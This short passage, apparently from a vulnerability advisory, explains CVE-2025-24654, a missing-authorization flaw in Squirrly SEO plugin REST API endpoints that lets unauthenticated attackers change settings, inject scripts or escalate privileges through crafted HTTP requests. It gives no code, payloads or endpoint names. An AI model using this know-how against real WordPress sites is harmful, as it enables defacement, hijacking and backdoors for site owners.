How the CVE Works:
CVE-2025-24654 is a Missing Authorization flaw in Squirrly SEO Plugin (versions up to 12.4.05), allowing unauthenticated attackers to manipulate SEO settings, inject malicious scripts, or escalate privileges. The vulnerability occurs due to improper access control in REST API endpoints, enabling unauthorized users to modify metadata, redirects, or site configurations. Attackers exploit this by sending crafted HTTP requests to unprotected endpoints, bypassing authentication checks. Successful exploitation leads to SEO hijacking, defacement, or backdoor installation.
